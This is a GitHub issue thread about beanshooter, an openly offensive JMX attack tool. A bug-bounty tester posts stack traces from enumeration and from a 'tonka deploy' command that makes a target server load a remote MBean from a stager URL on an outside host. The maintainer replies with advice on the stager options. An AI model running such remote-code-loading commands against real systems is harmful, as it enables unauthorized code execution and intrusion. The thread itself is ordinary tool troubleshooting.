qtc-de / beanshooter

JMX enumeration and attacking tool.
GNU General Public License v3.0
378 stars 45 forks source link

JMX enum Error java.lang.reflect.InvocationTargetException #15

Closed varandinawer closed 2 years ago

varandinawer commented 2 years ago

Hi, I'm trying to enumerate a JMX endpoint and the enum failed. I checked in the last release and in the last deplymen branch.

Here is the command with the stack trace.

:~/develop/beanshooter-develop/target$ java -jar beanshooter-3.0.0-jar-with-dependencies.jar enum XX.XX.XX.XX 9996

[+] Checking for unauthorized access: [+] [+] - Remote MBean server does not require authentication. [+] Vulnerability Status: Vulnerable [+] [+] Checking pre-auth deserialization behavior: [+] [-] Internal error. Caught unexpected java.lang.reflect.InvocationTargetException within the Operation.invoke(...) function. [-] StackTrace: java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at de.qtc.beanshooter.operation.BeanshooterOperation.invoke(BeanshooterOperation.java:344) at de.qtc.beanshooter.Starter.main(Starter.java:22) Caused by: java.lang.ClassCastException: Unsupported type: java.util.HashMap at javax.management.remote.rmi.RMIJRMPServerImpl$ExportedWrapper.check(RMIJRMPServerImpl.java:262) at sun.rmi.server.UnicastServerRef$MyChecker.validateDescriptor(UnicastServerRef.java:675) at sun.rmi.server.MarshalInputStream.validateDesc(MarshalInputStream.java:352) at sun.rmi.server.MarshalInputStream.readClassDescriptor(MarshalInputStream.java:341) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1815) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1713) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2000) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) at sun.rmi.server.UnicastRef.unmarshalValue(UnicastRef.java:326) at sun.rmi.server.UnicastServerRef.unmarshalParametersChecked(UnicastServerRef.java:652) at sun.rmi.server.UnicastServerRef.unmarshalParameters(UnicastServerRef.java:618) at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:332) at sun.rmi.transport.Transport$1.run(Transport.java:200) at sun.rmi.transport.Transport$1.run(Transport.java:197) at java.security.AccessController.doPrivileged(Native Method) at sun.rmi.transport.Transport.serviceCall(Transport.java:196) at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683) at java.security.AccessController.doPrivileged(Native Method) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at java.lang.Thread.run(Thread.java:748) at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:303) at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:279) at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:164) at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:235) at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:180) at com.sun.proxy.$Proxy0.newClient(Unknown Source) at javax.management.remote.rmi.RMIConnector.getConnection(RMIConnector.java:2430) at javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:308) at javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:249) at de.qtc.beanshooter.plugin.providers.RMIProvider.getMBeanServerConnection(RMIProvider.java:66) at de.qtc.beanshooter.plugin.PluginSystem.getMBeanServerConnectionUmanaged(PluginSystem.java:211) at de.qtc.beanshooter.operation.EnumHelper.enumSerial(EnumHelper.java:384) at de.qtc.beanshooter.operation.Dispatcher.enumerate(Dispatcher.java:167) ... 6 more [-] Cannot continue from here.

If I do a list de MBeans works without problems. Also, I tried the deploy of tonka and getting a reflection error.

:~/develop/beanshooter-develop/target$ java -jar beanshooter-3.0.0-jar-with-dependencies.jar tonka deploy XX.XX.XX.XX 9996 --stager-url http://XX.XX.XX.XX:4444 --no-stager --stack-trace

[+] Starting MBean deployment. [+] [+] Deplyoing MBean: TonkaBean [+] [+] MBean class is not known by the server. [+] Loading MBean from http://XX.XX.XX.XX:4444 [+] [+] [-] Caught javax.management.ReflectionException while loading MBean. [-] This usually means that the supplied MBean class was not valid. [-] [-] StackTrace: javax.management.ReflectionException: The MBean class could not be loaded at com.sun.jmx.mbeanserver.MBeanInstantiator.loadClass(MBeanInstantiator.java:654) at com.sun.jmx.mbeanserver.MBeanInstantiator.findClass(MBeanInstantiator.java:119) at com.sun.jmx.mbeanserver.MBeanInstantiator.findClass(MBeanInstantiator.java:142) at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.createMBean(DefaultMBeanServerInterceptor.java:290) at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.createMBean(DefaultMBeanServerInterceptor.java:223) at com.sun.jmx.mbeanserver.JmxMBeanServer.createMBean(JmxMBeanServer.java:379) at javax.management.loading.MLet.getMBeansFromURL(MLet.java:630) at javax.management.loading.MLet.getMBeansFromURL(MLet.java:455) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at sun.reflect.misc.Trampoline.invoke(MethodUtil.java:71) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at sun.reflect.misc.MethodUtil.invoke(MethodUtil.java:275) at com.sun.jmx.mbeanserver.StandardMBeanIntrospector.invokeM2(StandardMBeanIntrospector.java:112) at com.sun.jmx.mbeanserver.StandardMBeanIntrospector.invokeM2(StandardMBeanIntrospector.java:46) at com.sun.jmx.mbeanserver.MBeanIntrospector.invokeM(MBeanIntrospector.java:237) at com.sun.jmx.mbeanserver.PerInterface.invoke(PerInterface.java:138) at com.sun.jmx.mbeanserver.MBeanSupport.invoke(MBeanSupport.java:252) at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke(DefaultMBeanServerInterceptor.java:819) at com.sun.jmx.mbeanserver.JmxMBeanServer.invoke(JmxMBeanServer.java:801) at javax.management.remote.rmi.RMIConnectionImpl.doOperation(RMIConnectionImpl.java:1468) at javax.management.remote.rmi.RMIConnectionImpl.access$300(RMIConnectionImpl.java:76) at javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation.run(RMIConnectionImpl.java:1309) at javax.management.remote.rmi.RMIConnectionImpl.doPrivilegedOperation(RMIConnectionImpl.java:1401) at javax.management.remote.rmi.RMIConnectionImpl.invoke(RMIConnectionImpl.java:829) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:346) at sun.rmi.transport.Transport$1.run(Transport.java:200) at sun.rmi.transport.Transport$1.run(Transport.java:197) at java.security.AccessController.doPrivileged(Native Method) at sun.rmi.transport.Transport.serviceCall(Transport.java:196) at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683) at java.security.AccessController.doPrivileged(Native Method) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at java.lang.Thread.run(Thread.java:748) Caused by: java.lang.ClassNotFoundException: de.qtc.beanshooter.tonkabean.TonkaBean at javax.management.loading.MLet.findClass(MLet.java:988) at javax.management.loading.MLet.findClass(MLet.java:922) at java.lang.ClassLoader.loadClass(ClassLoader.java:424) at java.lang.ClassLoader.loadClass(ClassLoader.java:357) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Class.java:348) at com.sun.jmx.mbeanserver.MBeanInstantiator.loadClass(MBeanInstantiator.java:649) ... 46 more [-] Cannot continue from here.

I guess that the problem is related with a limitation with the classes avaible.

Let me known if you need more info.

qtc-de commented 2 years ago

Hi @varandinawer :wave:

thanks for reporting. The first issue should be fixed in the development branch. The second stack trace is intended, as you used the --stack-trace option. As the error suggests the problem is that the MBean class could not be loaded. You used the `--no-stager option. Did you make sure, that a stager is listening on http://xx.xx.xx.xx:4444/ and that the stager is running the same version as the beanshooter instance that tries to load the MBean? If this is the case, did the stager obtained an incoming request?

varandinawer commented 2 years ago

Hi @qtc-de,

Thanks for that. Right now I can't check it due I was using the tool in a living target for a bug bounty program. But I could conclude a few things that I expect that may help.

The jmx was listening in the 9996 port but in the end, the bind was to an internal IP to a different port ( a docker), not to localhost as is most usual.

Regarding the stager part. yes, the jmx connects and gets the first connection to load MLet. Still, the second one to get the Bean never reach, even when I modified the source code to add the proper IP address, because I launch the stager in a VPS on Azure, that the only way was to listen on 0.0.0.0, but as you know that IP is set in the MLet file to be able to load the Bean. So as I said before, I modified it to put the proper public IP address, but even in that way, the JMX doesn't reach the stager to load the Bean, something strange.

In the end, I did the stager part with a python HTTP server, to serve a Mlet file and the jar file with the Bean, and it works on the first try.

I hope that info helps.

qtc-de commented 2 years ago

Hi @varandinawer,

thanks for providing the additional information. This is strange behavior indeed. When the delivered MLet contained the correct address, I see no reason why the situation should be different to using a HTTP server manually. I can only expect that you had a typo in some place. However, this will be difficult to figure out when the target is no longer available :man_shrugging:

For the next time you encounter such a situation, I recommend to use the corresponding beanshooter options instead of modifying the source. E.g. when using the deploy action, you have the following options available:

  --stager-url URL       url of the stager server
  --stager-port port     TCP port to start the stager on
  --stager-host addr     IP address to start the stager on

The --stager-url is what is included into the MLet response. The --stager-host and --stager-port values however are used to determine where the stager should be listening. Or, when you need to run the deploy action from a different host when the stager, you can use the stager action. This one accepts the physically listening address as positional arguments and allows to specify the MLet address via the --stager-url option.

positional arguments:
  host                   the IP address to listen on
  port                   the port to start the stager on
  ...

named arguments:
  ...
  --stager-url URL       url of the stager server

If you don't mind, I will close the issue for now? Feel free to reopen when the issue occurs again :slightly_smiling_face: